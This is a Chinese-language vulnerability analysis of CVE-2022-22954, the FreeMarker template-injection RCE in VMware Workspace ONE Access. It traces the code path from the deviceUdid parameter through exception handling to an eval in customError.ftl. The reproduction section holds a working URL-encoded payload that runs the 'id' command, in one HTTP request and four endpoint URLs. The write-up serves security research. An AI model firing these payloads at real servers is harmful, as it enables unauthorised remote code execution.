VMware Workspace ONE Access(CVE-2022-22954)漏洞分析
碎碎念
“像讓這個世界聽聽自己的意見”
環境搭建
導入ova的時候要設置下fqdn
,配置數據庫就安裝完成了
啓動腳本在/opt/vmware/horizon/workspace/bin
目錄下
setenv.sh
中配置遠程調試:
/usr/java/jre-vmware/bin/java -Djava.util.logging.config.file=/opt/vmware/horizon/workspace/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -server -Djdk.tls.ephemeralDHKeySize=2048 -XX:+AggressiveOpts -Dliquibase.should.run=true -Djavax.net.ssl.trustStore=/usr/local/horizon/conf/idm-cacerts -Dset.rmi.server.hostname=true -Dvertx.disableFileCPResolving=true -XX:MaxMetaspaceSize=768m -XX:MetaspaceSize=768m -Xss1m -Xmx3968m -Xms3968m -XX:+UseParallelGC -XX:+UseParallelOldGC -XX:NewRatio=3 -XX:SurvivorRatio=12 -Dorg.apache.xml.security.ignoreLineBreaks=true -XX:+DisableExplicitGC -XX:+UseBiasedLocking -XX:-LoopUnswitching -Djava.security.properties=/opt/vmware/horizon/workspace/conf/idm_fips.security -Djdk.tls.namedGroups=secp521r1,secp384r1,secp256r1 -Didm.fips.mode.required=true -Dorg.bouncycastle.fips.approved_only=true -agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=5005 -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -classpath /usr/local/horizon/jre-endorsed/bc-fips-1.0.2.1.jar:/usr/share/tomcat/bin/bootstrap.jar:/usr/share/tomcat/bin/tomcat-juli.jar -Dcatalina.base=/opt/vmware/horizon/workspace -Dcatalina.home=/usr/share/tomcat -Djava.io.tmpdir=/opt/vmware/horizon/workspace/temp org.apache.catalina.startup.Bootstrap start
iptables -I INPUT -p tcp --dport 5005 -j ACCEPT
開放防火牆策略
模板注入漏洞分析
漏洞分析
定位到漏洞點中
/Users/nice0e3/Desktop/漏洞調試/webapps/catalog-portal/WEB-INF/lib/endusercatalog-ui-1.0-SNAPSHOT-classes.jar!/templates/customError.ftl
中使用freemarker的eval語法渲染errorObj
https://freemarker.apache.org/docs/ref_builtins_expert.html#ref_builtin_eval
在com.vmware.endusercatalog.ui.web.UiErrorController#handleGenericError
,會使用customError.ftl
的模板進行渲染
尋找調用com.vmware.endusercatalog.ui.web.UiErrorController#handleGenericError
的地方,發現在com.vmware.endusercatalog.ui.web.UiErrorController#sendError
調用
但這裏的errorMessage
是從request.getAttribute("javax.servlet.error.message");
獲取過來的,會導致這裏的errorMessage的內容並不可控。
下面來尋找javax.servlet.error.message
可控位置
發現com.vmware.endusercatalog.ui.web.UiApplicationExceptionResolver#resolveException
符合條件
這裏javax.servlet.error.message
可控,並且回調用返回/ui/view/error
路由,完成後面的串聯。
handleHttpMediaTypeNotAcceptableException
和handleAnyGenericException
對應的都是全局異常的處理過程
但該全局異常處理只作用於UIController.class, HubUIController.class, WorkspaceOauth2CodeVerificationController.class
中,在這三個類中,異常處理會走入到com.vmware.endusercatalog.ui.web.UiApplicationExceptionResolver#handleAnyGenericException
方法中
這裏傳遞異常對象,去獲取異常信息,然後調用createErrorJson去轉化成json格式。
下面需要繼續去尋找msgArgs中可控位置,也就是異常信息。
在com.vmware.endusercatalog.ui.UiApplication
類中自動裝載
@Configuration
@EnableAutoConfiguration(
exclude = {HazelcastAutoConfiguration.class, HibernateJpaAutoConfiguration.class, RedisAutoConfiguration.class, RedisRepositoriesAutoConfiguration.class, DataSourceAutoConfiguration.class}
)
@ComponentScan(
basePackages = {"com.vmware.endusercatalog.localization", "com.vmware.endusercatalog.auth", "com.vmware.endusercatalog.cache.engine.config", "com.vmware.endusercatalog.cache.client.config", "com.vmware.endusercatalog.cache.client.stats", "com.vmware.endusercatalog.cache.seed", "com.vmware.endusercatalog.persistence.engine.seed", "com.vmware.endusercatalog.adapters", "com.vmware.endusercatalog.mdm", "com.vmware.endusercatalog.workspace", "com.vmware.endusercatalog.okta", "com.vmware.endusercatalog.db", "com.vmware.endusercatalog.repositories", "com.vmware.endusercatalog.toggles", "com.vmware.endusercatalog.ui", "com.vmware.endusercatalog.adapters", "com.vmware.endusercatalog.console.web", "com.vmware.endusercatalog.hub.ui.web", "com.vmware.endusercatalog.security", "com.vmware.endusercatalog.cache.client", "com.vmware.endusercatalog.api.web.common", "com.vmware.endusercatalog.utils", "com.vmware.endusercatalog.multihub.service"}
)
@EnableAspectJAutoProxy
public class UiApplication {
public UiApplication() {
}
public static void main(String[] args) {
String[] newArray = ClArgumentsParser.addDisableCheckForFreeMarkerTemplateLocation(args);
ClArgumentsParser.addCliConfigToParentClasspath("eucConfig", newArray);
(new SpringApplicationBuilder(new Class[]{UiApplication.class})).run(newArray);
}
}
再來看到com.vmware.endusercatalog.ui.config.WebConfig
,配置/ui, /hub-ui, /hub-ui/byob, /logout, /ui/oauth/verify
走該攔截器
com.vmware.endusercatalog.auth.interceptor.AuthContextPopulationInterceptor
前面獲取deviceUdid
和deviceType
,authContextBuilder.build();
public AuthContext build() {
return new AuthContext(this);
}
AuthContext(Builder builder) {
if (!StringUtils.hasText(builder.tenantCode)) {
throw new InvalidAuthContextException(new Object[0]);
} else {
this.deviceId = StringUtils.hasText(builder.deviceId) ? builder.deviceId : null;
this.deviceType = StringUtils.hasText(builder.deviceType) ? builder.deviceType : null;
this.tenantCode = StringUtils.lowerCase(builder.tenantCode);
this.authorizationToken = StringUtils.hasText(builder.authorizationToken) ? builder.authorizationToken : null;
this.baseUrl = (String)StringUtils.defaultIfBlank(builder.baseUrl, (CharSequence)null);
this.authorizationTokenRevoked = builder.authorizationTokenRevoked;
this.userAgent = builder.userAgent;
this.locale = builder.locale;
this.authAdapter = builder.authAdapter;
this.multiHubSupportedDevice = builder.multiHubSupportedDevice;
if (!this.isValidRequest()) {
throw new InvalidAuthContextException(new Object[]{this.tenantCode, this.deviceId, this.deviceType, this.authorizationTokenRevoked});
}
}
}
下面有個this.isValidRequest()
判斷
public boolean isNativeAppRequestWithAuthToken() {
return this.isRequestWithDeviceParams() && this.hasAuthorizationToken();
}
private boolean isRequestWithDeviceParams() {
return this.deviceId != null && this.deviceType != null;
}
判斷deviceId
和deviceType
參數不爲空,
throw new InvalidAuthContextException(new Object[]{this.tenantCode, this.deviceId, this.deviceType, this.authorizationTokenRevoked});
最後面返回一個異常
下面來看看spring mvc的處理
在springmvc中handle處理完成後走到這個位置,將異常信息處理給this.processDispatchResult
的下一次調用
org.springframework.web.servlet.DispatcherServlet#processHandlerException
方法中會處理handle異常的一些處理
protected ModelAndView processHandlerException(HttpServletRequest request, HttpServletResponse response, @Nullable Object handler, Exception ex) throws Exception {
request.removeAttribute(HandlerMapping.PRODUCIBLE_MEDIA_TYPES_ATTRIBUTE);
ModelAndView exMv = null;
if (this.handlerExceptionResolvers != null) {
Iterator var6 = this.handlerExceptionResolvers.iterator();
while(var6.hasNext()) {
HandlerExceptionResolver resolver = (HandlerExceptionResolver)var6.next();
exMv = resolver.resolveException(request, response, handler, ex);
if (exMv != null) {
break;
}
}
}
代碼中遍歷spring 中配置的一些異常轉換器進行調用resolveException
方法
然後後面spring 的一些反射調用來來到com.vmware.endusercatalog.ui.web.UiApplicationExceptionResolver#handleAnyGenericException
中
漏洞復現
根據上文梳理一下,請求路由需要爲UIController.class, HubUIController.class, WorkspaceOauth2CodeVerificationController.class
其中一個類,傳遞error
和deviceUdid
參數,使其能走到異常中,這幾個類的異常會走到com.vmware.endusercatalog.ui.web.UiApplicationExceptionResolver#handleAnyGenericException
中類處理異常,並將異常信息request.setAttribute("javax.servlet.error.message", errorJson);
,設置完成後返回/ui/view/error
,來到/ui/view/error
路由這邊,調用request.getAttribute("javax.servlet.error.message");
, /ui/view/error
的路由方法調用getErrorPage
-> this.handleGenericError
,將前面獲取到的異常信息調用model.put("errorObj", errorMessage);
,最後面返回customError
,進行freemark模塊渲染,customError.ftl
,模塊中的errorObj?eval
會將errorObj
內容執行。
GET /catalog-portal/ui/oauth/verify?error=1111&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%69%64%22%29%7d HTTP/1.1
Host: test.test.local
Connection: close
sec-ch-ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
sec-ch-ua-platform: "macOS"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://test.test.local/SAAS/admin/roles
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
/catalog-portal/ui?code=1&state=1&error=1111&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%69%64%22%29%7d
/catalog-portal/hub-ui?code=1&state=1&error=1111&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%69%64%22%29%7d
/catalog-portal/ui/oauth/verify?error=1111&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%69%64%22%29%7d
/catalog-portal/hub-ui/byob?code=1&state=1&error=1111&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%69%64%22%29%7d
/opt/vmware/horizon/workspace/webapps/catalog-portal/
參考
CVE-2022-22954 VMware Workspace ONE Access Server-side Template Injection RCE
結尾
挺有意思的一個漏洞,受益頗多